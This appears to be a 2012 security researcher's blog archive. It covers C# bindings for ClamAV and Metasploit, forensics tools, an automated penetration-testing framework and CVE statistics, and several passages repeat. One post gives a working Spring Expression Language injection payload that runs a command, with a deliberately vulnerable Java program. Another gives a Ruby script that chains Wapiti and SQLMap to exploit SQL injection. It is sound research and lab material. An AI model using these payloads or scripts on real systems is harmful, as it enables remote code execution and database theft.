After testing some metasploit modules today, I decided writing some bindings for cuckoo-sandbox would be fun. I have been writing a small project that my clamav bindings to watch high risk areas and scan them on the fly. A fun, new addition would be to automagically submit anything found by clamav straight to cuckoo-sandbox and get the report back.
The code is on github and there is a small example application. Not every method is implemented fully, but it is still fun to play with. I did have to use a third party library for JSON parsing because of a bug in Mono's JavaScriptSerializer.
There is also an example program.
Sunday, December 30, 2012
Sunday, December 23, 2012
Added environment variable recovery from pagefiles to volatile reader
I added string search support to page files inside volatile reader, and used that as an opportunity to add environment variable recovery as well. The following pagefile was taken from a 64-bit windows 7 VM and was 4.3 GB. The code is in github.
Sunday, November 4, 2012
evtx support pretty much added
Evtx format was a real PITA. Took me way longer than I expected to write the code to parse the offline logs. Not being shown in the UI yet, but I checked in support for reading offline evtx files today. Will only print out the parsed data to the console atm.
https://github.com/brandonprry/volatile_reader
https://github.com/brandonprry/volatile_reader
Monday, October 29, 2012
Sunday, October 28, 2012
Introducing volatile_reader
Today I decided I was going to write a small offline registry reader in C# using GTK for the UI. I actually intend on adding both evt and evtx support as well, but these will come later.
In order to read the hives, I wrote a small library included with the utility called VolatileReader.Registry. It is super fast and efficient, it uses a BinaryReader to zip around and read the hive rather than reading the hive into memory, then parsing it. All you must do is pass the contructor of RegistryHive the path to your hive:
RegistryHive hive = new RegistryHive(file);
You can check out the code here: https://github.com/brandonprry/volatile_reader
In order to read the hives, I wrote a small library included with the utility called VolatileReader.Registry. It is super fast and efficient, it uses a BinaryReader to zip around and read the hive rather than reading the hive into memory, then parsing it. All you must do is pass the contructor of RegistryHive the path to your hive:
RegistryHive hive = new RegistryHive(file);
You can check out the code here: https://github.com/brandonprry/volatile_reader
Sunday, October 21, 2012
Introducing rising_sun
I have recently open-sourced a personal project of mine that I have used as an automated security test bed of a sort. Using bindings I have written for popular pieces of software, I have written a small framework for automating these tools and passing their relevant data from one tool to the next. A general architecture overview is required. Most of the tools are free and open source.
The framework has three main parts. An API (needs a lot of work), a Web UI (kind of OK), and a Service (solid, small, runs and manages the Profiles and Scans). It is written in C# and ASP.NET, so it is cross platform (I develop on Linux using monodevelop). Most tools are in scripting languages too or are also cross-platform. Using PGSql as the DB backend and FluentNHibernate for persistence. In order to automate OpenVAS, Nexpose, Nessus, and Metasploit, I am using my openvas-sharp, nexpose-sharp, nessus-sharp, and metasploit-sharp bindings.
When you create a profile via the Web UI, the scan of the profile takes place in two parts, breadth and depth. First, the service gathers as much surface area of the host as possible. This is called the Profile phase. Once the host has been profiled and it's attack surface area figured out, we move onto the Scan phase, where we actively attempt to find vulns using the surface area we determined in the previous phase.
Current tools automated during the Profile phase are Nmap (in a few incarnations), Nikto, sslscan, onesixtyone, smbclient, and a few others off the top of my head, with more web fingerprinting and other tools in the pipeline (MBSA is one). smbclient will loop through each share it can find and attempt to log in anonymously (unless creds are provided) and attempt an "ls;recurse" which tells smbclient to list all files on the share. This phase can be considered mostly passive and can be run on it own with no Scan attached.
Current tools automated during the Scan phase are OpenVAS, Nexpose, Nessus, Metasploit/Pro, Wapiti, DSXS, and SQLMap. This phase is by far the most important and integrative. We use all the data collected in the previous profile to decide what to scan. By using as many vuln scanners like OpenVAS, Nexpose, and Nessus as possible, you can find far better results in terms of deducing false positives and false negatives (2 out of 3 report this, 33% chance false positive. 1 out of 3 report that, 66% chance false positive). This phase is laid out like a pyramid, with Metasploit on top. Before Wapiti and SQLMap are run, your vuln assessment scans are kicked off. As these run, we fuzz any known web services running that we know about with Wapiti (not just port 80 and 443, anything NMap decided was http). We take this XML report it creates (must run trunk) and parse it and figure out exactly what wapiti found and pass on the relevant details to SQLMap and DSXS to figure out exactly how to exploit any SQL injection or XSS vulnerabilities. I use some novel methods to ensure SQLMap only tests what Wapiti was found to find vulnerable, so it is pretty quick, and can be made quicker with a few tweaks. This requires a Profile to have been run.
In the end, the data from wapiti, openvas, nessus, and nexpose are fed into metasploit via sshfs mountint the remote /tmp locally. Then a metasploit pro discovery is done, then a quick bruteforce, then an exploit task is started using all the data from the previous scans. Once this is done, the scan phase is over and persisted and your results will be in the web UI.
Not all tools are required, if you don't have access to Metasploit Pro, you can simply choose to not run it. The same goes for OpenVAS, Nexpose, and Nessus. It is granular to that point. You may also choose to not run the web assessment, and only run the general vuln assessment(s).
Most of the data collected is presented in the UI in some form or fashion, but not all of it is. Installation isn't straight forward so please read the README.
Generally I run against: a vulnerable FreeNAS distro, Metasploitable2 with TWiki removed, BadStore, and a vulnerable Windows XP SP2 machine.
Please hit me up on IRC (bperry on Freenode, idle in #metasploit) if you have trouble setting up (you probably will, but I hope you don't!).
The framework has three main parts. An API (needs a lot of work), a Web UI (kind of OK), and a Service (solid, small, runs and manages the Profiles and Scans). It is written in C# and ASP.NET, so it is cross platform (I develop on Linux using monodevelop). Most tools are in scripting languages too or are also cross-platform. Using PGSql as the DB backend and FluentNHibernate for persistence. In order to automate OpenVAS, Nexpose, Nessus, and Metasploit, I am using my openvas-sharp, nexpose-sharp, nessus-sharp, and metasploit-sharp bindings.
When you create a profile via the Web UI, the scan of the profile takes place in two parts, breadth and depth. First, the service gathers as much surface area of the host as possible. This is called the Profile phase. Once the host has been profiled and it's attack surface area figured out, we move onto the Scan phase, where we actively attempt to find vulns using the surface area we determined in the previous phase.
Current tools automated during the Profile phase are Nmap (in a few incarnations), Nikto, sslscan, onesixtyone, smbclient, and a few others off the top of my head, with more web fingerprinting and other tools in the pipeline (MBSA is one). smbclient will loop through each share it can find and attempt to log in anonymously (unless creds are provided) and attempt an "ls;recurse" which tells smbclient to list all files on the share. This phase can be considered mostly passive and can be run on it own with no Scan attached.
Current tools automated during the Scan phase are OpenVAS, Nexpose, Nessus, Metasploit/Pro, Wapiti, DSXS, and SQLMap. This phase is by far the most important and integrative. We use all the data collected in the previous profile to decide what to scan. By using as many vuln scanners like OpenVAS, Nexpose, and Nessus as possible, you can find far better results in terms of deducing false positives and false negatives (2 out of 3 report this, 33% chance false positive. 1 out of 3 report that, 66% chance false positive). This phase is laid out like a pyramid, with Metasploit on top. Before Wapiti and SQLMap are run, your vuln assessment scans are kicked off. As these run, we fuzz any known web services running that we know about with Wapiti (not just port 80 and 443, anything NMap decided was http). We take this XML report it creates (must run trunk) and parse it and figure out exactly what wapiti found and pass on the relevant details to SQLMap and DSXS to figure out exactly how to exploit any SQL injection or XSS vulnerabilities. I use some novel methods to ensure SQLMap only tests what Wapiti was found to find vulnerable, so it is pretty quick, and can be made quicker with a few tweaks. This requires a Profile to have been run.
In the end, the data from wapiti, openvas, nessus, and nexpose are fed into metasploit via sshfs mountint the remote /tmp locally. Then a metasploit pro discovery is done, then a quick bruteforce, then an exploit task is started using all the data from the previous scans. Once this is done, the scan phase is over and persisted and your results will be in the web UI.
Not all tools are required, if you don't have access to Metasploit Pro, you can simply choose to not run it. The same goes for OpenVAS, Nexpose, and Nessus. It is granular to that point. You may also choose to not run the web assessment, and only run the general vuln assessment(s).
Most of the data collected is presented in the UI in some form or fashion, but not all of it is. Installation isn't straight forward so please read the README.
Generally I run against: a vulnerable FreeNAS distro, Metasploitable2 with TWiki removed, BadStore, and a vulnerable Windows XP SP2 machine.
Please hit me up on IRC (bperry on Freenode, idle in #metasploit) if you have trouble setting up (you probably will, but I hope you don't!).
Friday, October 12, 2012
Integrating ClamAV into your C# applications
During the VP debate, I decided to write some ClamAV bindings for C# that were up to date. The current C# lib for libclamav that is linked on the ClamAV website is from 2005 and no longer useful. Here is a small introduction.
The main objects you will probably work with as a programmer is probably the ClamEngine and ClamResult objects. Since we are interfacing with a library written in C, we must take into account memory leaks. The ClamEngine implements IDisposable and is intended to be used in the context of a using statement. If you are using .NET 1.1 and do not have the using statement available, you will need to call Dispose() explicitly. Here is an example application:
clamd TCP bindings are probably on their way soon, it will be easy enough. The main code is thoroughly documented, but if you still have question after that, feel free to ask on Github.
If you would like to test this without a real virus, I recommend using EICAR.
The main objects you will probably work with as a programmer is probably the ClamEngine and ClamResult objects. Since we are interfacing with a library written in C, we must take into account memory leaks. The ClamEngine implements IDisposable and is intended to be used in the context of a using statement. If you are using .NET 1.1 and do not have the using statement available, you will need to call Dispose() explicitly. Here is an example application:
using System;
using clamsharp;
namespace testing
{
class MainClass
{
public static void Main (string[] args)
{
using (ClamEngine e = new ClamEngine())
{
foreach (string file in args)
{
ClamResult result = e.ScanFile(file); //pretty simple!
if (result != null && result.ReturnCode == ClamReturnCode.CL_VIRUS)
Console.WriteLine("Found: " + result.VirusName);
else
Console.WriteLine("File Clean!");
}
} //engine is disposed of here and the allocated engine freed
}
}
}
One note: If you want it to build on Windows, you will need to change the DllImport's to point to where ever on Windows you need to point to in ClamBindings.
clamd TCP bindings are probably on their way soon, it will be easy enough. The main code is thoroughly documented, but if you still have question after that, feel free to ask on Github.
If you would like to test this without a real virus, I recommend using EICAR.
Wednesday, September 12, 2012
Theoretical vulnerabilities using the Spring Expression Language
The past two days, I have been taking Core Spring training (work paid for it, why not). Our instructor ended up bringing up the Spring Expression Language (or SpEL), and showed us how it could be used to parse values and various other things.
While playing around with it, I was curious if I could evaluate java code at runtime that could execute calc.exe and after a few minutes of tinkering, I was able to execute calc.exe via the Spring Expression Language. It was easy enough:
Once I had this bit figured out, I realised the potential for Remote Command Execution via the expression language. The way to get a program using the Spring Expression Language to evaluate unintended code is very similar to the way a SQL injection works, but there are some catches and nuances, and I will go over them here. This whole post is theoretical only, as I have never actually come across this vulnerability before. However, it would be easy for a programmer not completely familiar with how the expression language works to write vulnerable code that allowed remote code execution.
For instance, take the following code:
The vulnerability is obvious, the program does no checking whatsoever to ensure the user isn't inputing something they shouldn't. Simply typing:
would execute calc.exe, then error out since the string you passed in is obviously not a Date.
Let's take the vulnerability a step further though. Let's modify the above code slightly.
Turn the following:
into:
This code change technically fixes a bug in our code. In the previous code, if the user entered a Date that was not surrounded by single-quotes, then the application would error out. By adding the single-quotes in our code, the user can enter the Date value without the single-quotes. This also makes it a bit more difficult to exploit, however not impossible. In order to exploit this new code, we can think about this vulnerability as if it were a SQL injection vulnerability, with a few catches.
We need to make a semantically-correct string that will be eval'ed that will "break out" of the current quotes that we have added to the codebase. To do this, we can use some of the operators at our disposal that the Spring Expression Language has.
My first attempt to exploit the new code was to use the 'and' operator. This was fruitless since Java is a strongly-typed language and Java was trying to evaluate the strings as boolean values, which did not work. After a few more minutes, I figured out how to break out of the quotes and have Spring evaluate and execute my payload:
The resulting string that gets eval'ed is this:
Basically, I am asking Spring to evaluate whether the string to the left of my == operator is the same as my payload, which must be evaluated and executed before the comparison can happen. calc.exe gets executed and now I am happy.
You may find the full code examples here and here.
While playing around with it, I was curious if I could evaluate java code at runtime that could execute calc.exe and after a few minutes of tinkering, I was able to execute calc.exe via the Spring Expression Language. It was easy enough:
ExpressionParser p = new SpelExpressionParser();
Expression e = p.parseExpression("T(Runtime).getRuntime().exec('calc.exe')"); //set expression to eval
e.getValue(); //eval
Once I had this bit figured out, I realised the potential for Remote Command Execution via the expression language. The way to get a program using the Spring Expression Language to evaluate unintended code is very similar to the way a SQL injection works, but there are some catches and nuances, and I will go over them here. This whole post is theoretical only, as I have never actually come across this vulnerability before. However, it would be easy for a programmer not completely familiar with how the expression language works to write vulnerable code that allowed remote code execution.
For instance, take the following code:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.util.Assert;
import org.apache.commons.logging.LogFactory;
import java.io.*;
import java.util.Date;
public class main {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
ExpressionParser parser = new SpelExpressionParser();
System.out.println("Please enter a date and I will parse it:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String line = stdin.readLine();
Expression exp = parser.parseExpression(line);
Date date = (Date)exp.getValue();
System.out.println(date.toString());
}
}
The vulnerability is obvious, the program does no checking whatsoever to ensure the user isn't inputing something they shouldn't. Simply typing:
T(Runtime).getRuntime().exec('calc.exe')
would execute calc.exe, then error out since the string you passed in is obviously not a Date.
Let's take the vulnerability a step further though. Let's modify the above code slightly.
Turn the following:
Expression exp = parser.parseExpression(line);
into:
Expression exp = parser.parseExpression("'" + line + "'");
This code change technically fixes a bug in our code. In the previous code, if the user entered a Date that was not surrounded by single-quotes, then the application would error out. By adding the single-quotes in our code, the user can enter the Date value without the single-quotes. This also makes it a bit more difficult to exploit, however not impossible. In order to exploit this new code, we can think about this vulnerability as if it were a SQL injection vulnerability, with a few catches.
We need to make a semantically-correct string that will be eval'ed that will "break out" of the current quotes that we have added to the codebase. To do this, we can use some of the operators at our disposal that the Spring Expression Language has.
My first attempt to exploit the new code was to use the 'and' operator. This was fruitless since Java is a strongly-typed language and Java was trying to evaluate the strings as boolean values, which did not work. After a few more minutes, I figured out how to break out of the quotes and have Spring evaluate and execute my payload:
02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + '
The resulting string that gets eval'ed is this:
'02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ''
Basically, I am asking Spring to evaluate whether the string to the left of my == operator is the same as my payload, which must be evaluated and executed before the comparison can happen. calc.exe gets executed and now I am happy.
You may find the full code examples here and here.
Sunday, August 5, 2012
Security on the AWS cloud
I have been working with EC2 in my free time (what's that?) and realised some bad information had been spread about how to get your instances to talk with one another. By default, the instances do not respond to pings or nmap's from other machines due to very restrictive firewall settings. This is a good thing. The bad thing was that I was reading on forums that setting your All ICMP, All UDP, and All TCP firewall settings to 0.0.0.0/0 was the easiest fix.
While this is true, it is the easiest fix, it isn't very secure. I was able to nmap a small subnet inside the EC2 cloud (internal network, not external) and found 30 machines responding. When you put 0.0.0.0/0, you let everyone inside that network ping, port scan, and connect to your computer. By being more granular, and setting your firewall rules to the specific instances that you want talking (111.222.122.123/32), you are protecting your machine from threats inside this cloud network. Setting your All ICMP, All UDP, and All TCP to 0.0.0.0/0 is just opening yourself up needelessly for an attack. It may take you an extra 5 minutes to create a rule for each host you want communicating.
Monday, July 16, 2012
Performing forensics on RAMDisk based operating system via QEMU
I came across a problem requiring me to get to a filesystem resident in RAM via a RAMDisk. I used QEMU to dump this to a file for further analysis.
The system at hand was disk encryption software that performs some disk trickery in order to unlock the drive after supplying credentials to the disk encryption software. The disk encryption software was Linux based. However, the RAMDisk was being initiated by MSDOS startup files. It was a very weird setup.
I was able to use QEMU and an Ubuntu Live USB disk to dump what I needed. Because the disk encryption was resident on the HDD instead of the BIOS, I was able to boot to my Live USB and circumvent the HDD entirely. Once in the Live System, I installed qemu and ghex.
Using
Now that I have the disks, the hd0 block is what I want. We want to create a new file to save our vm into.
Now save the vm's state into the dump file
You may now use further, more advanced techniques to analyse the contents of the RAM disk by using a hex editor or various other tools to extract the wanted data from the saved state of the vm.
The system at hand was disk encryption software that performs some disk trickery in order to unlock the drive after supplying credentials to the disk encryption software. The disk encryption software was Linux based. However, the RAMDisk was being initiated by MSDOS startup files. It was a very weird setup.
I was able to use QEMU and an Ubuntu Live USB disk to dump what I needed. Because the disk encryption was resident on the HDD instead of the BIOS, I was able to boot to my Live USB and circumvent the HDD entirely. Once in the Live System, I installed qemu and ghex.
Using
qemu-system-i386 -hda /dev/sda -monitor stdioI was able to boot the hard disk into a virtualised environment. -monitor stdio gives me a qemu shell prompt in the bash shell that I started the QEMU instance in. This is how we will be saving the full state of the VM. Once booted into the disk encryption software, I ran the following to see what devices I had at my disposal
(qemu) info block ide0-hd0: removable=0 io-status=ok file=/dev/sda ro=0 drv=raw encrypted=0 ide1-cd0: removable=1 locked=0 tray-open=0 io-status=ok [not inserted] floppy0: removable=1 locked=0 tray-open=0 [not inserted] sd0: removable=1 locked=0 tray-open=0 [not inserted] (qemu)
Now that I have the disks, the hd0 block is what I want. We want to create a new file to save our vm into.
snapshot_blkdev ide0-hd0 dump
Now save the vm's state into the dump file
savevm
You may now use further, more advanced techniques to analyse the contents of the RAM disk by using a hex editor or various other tools to extract the wanted data from the saved state of the vm.
Sunday, May 20, 2012
Automating SQLMap with data from wapiti
Wapiti is really fast at finding possible sql injection points in a web application or website. SQLMap is great at figuring out how to exploit these possible injection points. The following script runs Wapiti on a host to find possible injection points, then passes that data to SQLMap to try and exploit. Tested on BadStore and running SVN latest of both Wapiti and SQLMap. You can play around with the arguments I am passing to SQLMap and make the scans a bit more thorough, but at the expense of speed.
#!/usr/bin/env ruby
require 'active_support/secure_random'
require 'rexml/document'
wapiti_path = '/home/bperry/tools/wapiti/trunk/src/'
sqlmap_path = '/home/bperry/tools/sqlmap/'
wapiti_report_path = '/tmp/wapiti_report_' + SecureRandom.uuid + '.xml'
remote_host = ARGV[0]
p "Running wapiti..."
`#{wapiti_path}wapiti.py #{ARGV[0]} -f xml -o #{wapiti_report_path}`
p "Report saved to #{wapiti_report_path}"
p "Parsing results"
results = []
report = ::File.open(wapiti_report_path, "rb")
doc = REXML::Document.new report.read
doc.elements.each('/report/bugTypeList/bugType') do |element|
bug_type = element.attributes["name"]
next if bug_type != "SQL Injection"
p "Parsing " + bug_type
result = {}
element.elements.each("bugList/bug") do |bug|
result[:type] = bug_type
bug.elements.each do |child|
if child.name == "url"
result[:url] = child.text
elsif child.name == "parameter"
result[:parameter] = child.text
end
end
results << result
result = {}
end
end
results.each do |result|
next if result[:type] !~ /SQL Injection/
p "Running sqlmap"
if result[:url].index(result[:parameter])
url = result[:url].gsub("%BF%27%22%28", "abcd")
params = result[:url].split("?")[1].split("&")
skipped_params = []
params.each do |param|
skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
end
p "Running GET sql injection test on url: " + url
sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --smart --skip=\"#{skipped_params.join(",")}\" --technique=EUS --flush-session --fresh-queries --level=2 --batch"
out = `#{sqlmap_command}`
printf out
else
url = result[:url]
p "Running POST sql injection test on url: " + url
p "With data: " + result[:parameter]
parameter = result[:parameter].gsub("%BF%27%22%28", "abcd")
params = result[:parameter].split("&")
skipped_params = []
params.each do |param|
skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
end
sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --data=\"#{parameter}\" --skip=\"#{skipped_params.join(",")}\" --smart --technique=EUS --flush-session --fresh-queries --level=2 --batch"
p sqlmap_command
sqlmap_output = `#{sqlmap_command}`
printf sqlmap_output
end
end
Monday, May 7, 2012
Simple CVE stats from 2001-2011
Year 2001 has 1538 vulnerabilities 2001 had 8 vulns of type: Buffer Errors 2001 had 4 vulns of type: Cryptographic Issues 2001 had 4 vulns of type: Path Traversal 2001 had 2 vulns of type: Authentication Issues 2001 had 2 vulns of type: Permissions, Privileges, and Access Control 2001 had 2 vulns of type: Code Injection 2001 had 2 vulns of type: Input Validation 2001 had 1 vulns of type: Resource Management Errors 2001 had 1 vulns of type: Link Following 2001 had 0 vulns of type: Credentials Management 2001 had 0 vulns of type: Cross-Site Request Forgery (CSRF) 2001 had 0 vulns of type: Cross-Site Scripting 2001 had 0 vulns of type: Format String Vulnerability 2001 had 0 vulns of type: Configuration 2001 had 0 vulns of type: Information Leak / Disclosure 2001 had 0 vulns of type: Numeric Errors 2001 had 0 vulns of type: OS Command Injections 2001 had 0 vulns of type: Race Conditions 2001 had 0 vulns of type: SQL Injection Total vulns in 2001 with CWE: 26 Percentage of vulns with CWE: 1.69050715214564% Year 2002 has 2368 vulnerabilities 2002 had 41 vulns of type: Buffer Errors 2002 had 32 vulns of type: Permissions, Privileges, and Access Control 2002 had 32 vulns of type: Cross-Site Scripting 2002 had 29 vulns of type: Input Validation 2002 had 17 vulns of type: Information Leak / Disclosure 2002 had 13 vulns of type: Path Traversal 2002 had 9 vulns of type: Configuration 2002 had 8 vulns of type: Credentials Management 2002 had 8 vulns of type: Code Injection 2002 had 7 vulns of type: SQL Injection 2002 had 6 vulns of type: Numeric Errors 2002 had 6 vulns of type: Resource Management Errors 2002 had 5 vulns of type: Authentication Issues 2002 had 3 vulns of type: Cryptographic Issues 2002 had 2 vulns of type: Race Conditions 2002 had 2 vulns of type: Link Following 2002 had 1 vulns of type: Cross-Site Request Forgery (CSRF) 2002 had 1 vulns of type: Format String Vulnerability 2002 had 1 vulns of type: OS Command Injections Total vulns in 2002 with CWE: 223 Percentage of vulns with CWE: 9.41722972972973% Year 2003 has 1515 vulnerabilities 2003 had 59 vulns of type: Buffer Errors 2003 had 40 vulns of type: Cross-Site Scripting 2003 had 30 vulns of type: Input Validation 2003 had 25 vulns of type: Information Leak / Disclosure 2003 had 24 vulns of type: Permissions, Privileges, and Access Control 2003 had 17 vulns of type: Path Traversal 2003 had 13 vulns of type: Code Injection 2003 had 12 vulns of type: Configuration 2003 had 12 vulns of type: SQL Injection 2003 had 9 vulns of type: Authentication Issues 2003 had 9 vulns of type: Credentials Management 2003 had 8 vulns of type: Cryptographic Issues 2003 had 6 vulns of type: Resource Management Errors 2003 had 4 vulns of type: Numeric Errors 2003 had 2 vulns of type: Format String Vulnerability 2003 had 2 vulns of type: Race Conditions 2003 had 2 vulns of type: Link Following 2003 had 0 vulns of type: Cross-Site Request Forgery (CSRF) 2003 had 0 vulns of type: OS Command Injections Total vulns in 2003 with CWE: 274 Percentage of vulns with CWE: 18.0858085808581% Year 2004 has 2669 vulnerabilities 2004 had 30 vulns of type: Buffer Errors 2004 had 22 vulns of type: Permissions, Privileges, and Access Control 2004 had 20 vulns of type: Cross-Site Scripting 2004 had 9 vulns of type: Path Traversal 2004 had 9 vulns of type: Input Validation 2004 had 8 vulns of type: SQL Injection 2004 had 6 vulns of type: Authentication Issues 2004 had 6 vulns of type: Credentials Management 2004 had 6 vulns of type: Code Injection 2004 had 5 vulns of type: Configuration 2004 had 4 vulns of type: Information Leak / Disclosure 2004 had 4 vulns of type: Resource Management Errors 2004 had 3 vulns of type: Cryptographic Issues 2004 had 3 vulns of type: Format String Vulnerability 2004 had 2 vulns of type: Race Conditions 2004 had 2 vulns of type: Link Following 2004 had 1 vulns of type: Numeric Errors 2004 had 1 vulns of type: OS Command Injections 2004 had 0 vulns of type: Cross-Site Request Forgery (CSRF) Total vulns in 2004 with CWE: 141 Percentage of vulns with CWE: 5.28287748220307% Year 2005 has 4684 vulnerabilities 2005 had 64 vulns of type: Buffer Errors 2005 had 48 vulns of type: SQL Injection 2005 had 32 vulns of type: Permissions, Privileges, and Access Control 2005 had 31 vulns of type: Resource Management Errors 2005 had 28 vulns of type: Cross-Site Scripting 2005 had 21 vulns of type: Input Validation 2005 had 20 vulns of type: Code Injection 2005 had 18 vulns of type: Information Leak / Disclosure 2005 had 15 vulns of type: Numeric Errors 2005 had 10 vulns of type: Path Traversal 2005 had 5 vulns of type: Link Following 2005 had 4 vulns of type: Authentication Issues 2005 had 3 vulns of type: Cryptographic Issues 2005 had 3 vulns of type: Configuration 2005 had 2 vulns of type: Credentials Management 2005 had 2 vulns of type: Race Conditions 2005 had 1 vulns of type: Cross-Site Request Forgery (CSRF) 2005 had 1 vulns of type: Format String Vulnerability 2005 had 1 vulns of type: OS Command Injections Total vulns in 2005 with CWE: 309 Percentage of vulns with CWE: 6.59692570452605% Year 2006 has 7043 vulnerabilities 2006 had 199 vulns of type: Code Injection 2006 had 145 vulns of type: Buffer Errors 2006 had 87 vulns of type: Cross-Site Scripting 2006 had 84 vulns of type: SQL Injection 2006 had 74 vulns of type: Resource Management Errors 2006 had 63 vulns of type: Input Validation 2006 had 50 vulns of type: Permissions, Privileges, and Access Control 2006 had 37 vulns of type: Numeric Errors 2006 had 29 vulns of type: Information Leak / Disclosure 2006 had 21 vulns of type: Path Traversal 2006 had 17 vulns of type: Format String Vulnerability 2006 had 14 vulns of type: Authentication Issues 2006 had 8 vulns of type: Cryptographic Issues 2006 had 7 vulns of type: Race Conditions 2006 had 6 vulns of type: Configuration 2006 had 5 vulns of type: Credentials Management 2006 had 3 vulns of type: Cross-Site Request Forgery (CSRF) 2006 had 2 vulns of type: OS Command Injections 2006 had 1 vulns of type: Link Following Total vulns in 2006 with CWE: 852 Percentage of vulns with CWE: 12.0971177055232% Year 2007 has 6505 vulnerabilities 2007 had 451 vulns of type: Buffer Errors 2007 had 366 vulns of type: Cross-Site Scripting 2007 had 296 vulns of type: Code Injection 2007 had 263 vulns of type: SQL Injection 2007 had 229 vulns of type: Permissions, Privileges, and Access Control 2007 had 228 vulns of type: Input Validation 2007 had 164 vulns of type: Path Traversal 2007 had 107 vulns of type: Numeric Errors 2007 had 104 vulns of type: Resource Management Errors 2007 had 96 vulns of type: Information Leak / Disclosure 2007 had 69 vulns of type: Authentication Issues 2007 had 41 vulns of type: Cross-Site Request Forgery (CSRF) 2007 had 36 vulns of type: Configuration 2007 had 31 vulns of type: Format String Vulnerability 2007 had 25 vulns of type: Link Following 2007 had 24 vulns of type: Credentials Management 2007 had 19 vulns of type: Cryptographic Issues 2007 had 18 vulns of type: Race Conditions 2007 had 6 vulns of type: OS Command Injections Total vulns in 2007 with CWE: 2573 Percentage of vulns with CWE: 39.554189085319% Year 2008 has 7031 vulnerabilities 2008 had 1480 vulns of type: SQL Injection 2008 had 981 vulns of type: Cross-Site Scripting 2008 had 582 vulns of type: Buffer Errors 2008 had 574 vulns of type: Permissions, Privileges, and Access Control 2008 had 467 vulns of type: Input Validation 2008 had 447 vulns of type: Path Traversal 2008 had 385 vulns of type: Code Injection 2008 had 322 vulns of type: Resource Management Errors 2008 had 222 vulns of type: Authentication Issues 2008 had 221 vulns of type: Information Leak / Disclosure 2008 had 177 vulns of type: Link Following 2008 had 166 vulns of type: Numeric Errors 2008 had 119 vulns of type: Cross-Site Request Forgery (CSRF) 2008 had 69 vulns of type: Credentials Management 2008 had 61 vulns of type: Cryptographic Issues 2008 had 41 vulns of type: Configuration 2008 had 33 vulns of type: Format String Vulnerability 2008 had 25 vulns of type: Race Conditions 2008 had 12 vulns of type: OS Command Injections Total vulns in 2008 with CWE: 6384 Percentage of vulns with CWE: 90.797895036268% Year 2009 has 4848 vulnerabilities 2009 had 734 vulns of type: Cross-Site Scripting 2009 had 673 vulns of type: SQL Injection 2009 had 558 vulns of type: Buffer Errors 2009 had 329 vulns of type: Permissions, Privileges, and Access Control 2009 had 266 vulns of type: Code Injection 2009 had 247 vulns of type: Input Validation 2009 had 245 vulns of type: Path Traversal 2009 had 237 vulns of type: Resource Management Errors 2009 had 164 vulns of type: Numeric Errors 2009 had 148 vulns of type: Authentication Issues 2009 had 141 vulns of type: Information Leak / Disclosure 2009 had 86 vulns of type: Cryptographic Issues 2009 had 84 vulns of type: Cross-Site Request Forgery (CSRF) 2009 had 56 vulns of type: Credentials Management 2009 had 47 vulns of type: Configuration 2009 had 32 vulns of type: Race Conditions 2009 had 29 vulns of type: Link Following 2009 had 23 vulns of type: Format String Vulnerability 2009 had 11 vulns of type: OS Command Injections Total vulns in 2009 with CWE: 4110 Percentage of vulns with CWE: 84.7772277227723% Year 2010 has 4696 vulnerabilities 2010 had 578 vulns of type: SQL Injection 2010 had 566 vulns of type: Cross-Site Scripting 2010 had 536 vulns of type: Buffer Errors 2010 had 319 vulns of type: Permissions, Privileges, and Access Control 2010 had 299 vulns of type: Input Validation 2010 had 270 vulns of type: Resource Management Errors 2010 had 256 vulns of type: Path Traversal 2010 had 248 vulns of type: Code Injection 2010 had 162 vulns of type: Information Leak / Disclosure 2010 had 154 vulns of type: Numeric Errors 2010 had 66 vulns of type: Cross-Site Request Forgery (CSRF) 2010 had 62 vulns of type: Cryptographic Issues 2010 had 56 vulns of type: Authentication Issues 2010 had 51 vulns of type: Credentials Management 2010 had 33 vulns of type: Race Conditions 2010 had 26 vulns of type: Link Following 2010 had 21 vulns of type: Configuration 2010 had 12 vulns of type: Format String Vulnerability 2010 had 12 vulns of type: OS Command Injections Total vulns in 2010 with CWE: 3727 Percentage of vulns with CWE: 79.3654173764906% Year 2011 has 3733 vulnerabilities 2011 had 648 vulns of type: Buffer Errors 2011 had 372 vulns of type: Input Validation 2011 had 367 vulns of type: Cross-Site Scripting 2011 had 366 vulns of type: Resource Management Errors 2011 had 295 vulns of type: Information Leak / Disclosure 2011 had 285 vulns of type: Permissions, Privileges, and Access Control 2011 had 120 vulns of type: Numeric Errors 2011 had 107 vulns of type: SQL Injection 2011 had 92 vulns of type: Code Injection 2011 had 91 vulns of type: Path Traversal 2011 had 60 vulns of type: Authentication Issues 2011 had 57 vulns of type: Cross-Site Request Forgery (CSRF) 2011 had 57 vulns of type: Cryptographic Issues 2011 had 34 vulns of type: Configuration 2011 had 32 vulns of type: Credentials Management 2011 had 26 vulns of type: Link Following 2011 had 14 vulns of type: Race Conditions 2011 had 13 vulns of type: OS Command Injections 2011 had 8 vulns of type: Format String Vulnerability Total vulns in 2011 with CWE: 3044 Percentage of vulns with CWE: 81.5429949102599% Total: 49439To be honest, I am a bit dismayed at the quality of the data. 2001 only categorized 1.7% of the vulns recorded (I am sure most, if not all, were added retroactively). The highest percentage of vulns that had been categorized was 90% in 2008. I find it interesting that the first few years are dominated by buffer overflows (perhaps because of poor data), and then around 2008, web vulns become the top recorded and categorized. Perhaps this is because of the vast amount new web technologies emerging. That is, until 2011 where buffer overflows are once again the most. I used the xml files from the NIST and my source code that I used to generate the stats is on github. Using LINQ, so it isn't super speedy. Takes a few minutes. Works with Mono or .NET.
Saturday, March 31, 2012
Communicating with your Metasploit server via Mono/.NET
A few months ago, I released a library that helped integrate Nexpose into your .NET/Mono applications.
A few nights ago, I checked in my library that allows communication and integration with Metasploit from your .NET/Mono applications.
Very much in beta, and I am not calling it feature complete. Works for the most part, but bugs will be found (and patches accepted!).
Take a look at the Example I have to see it in action.
It follows the same Session/Manager pattern as the nexpose library does. No pro methods added yet, just core.
Friday, February 3, 2012
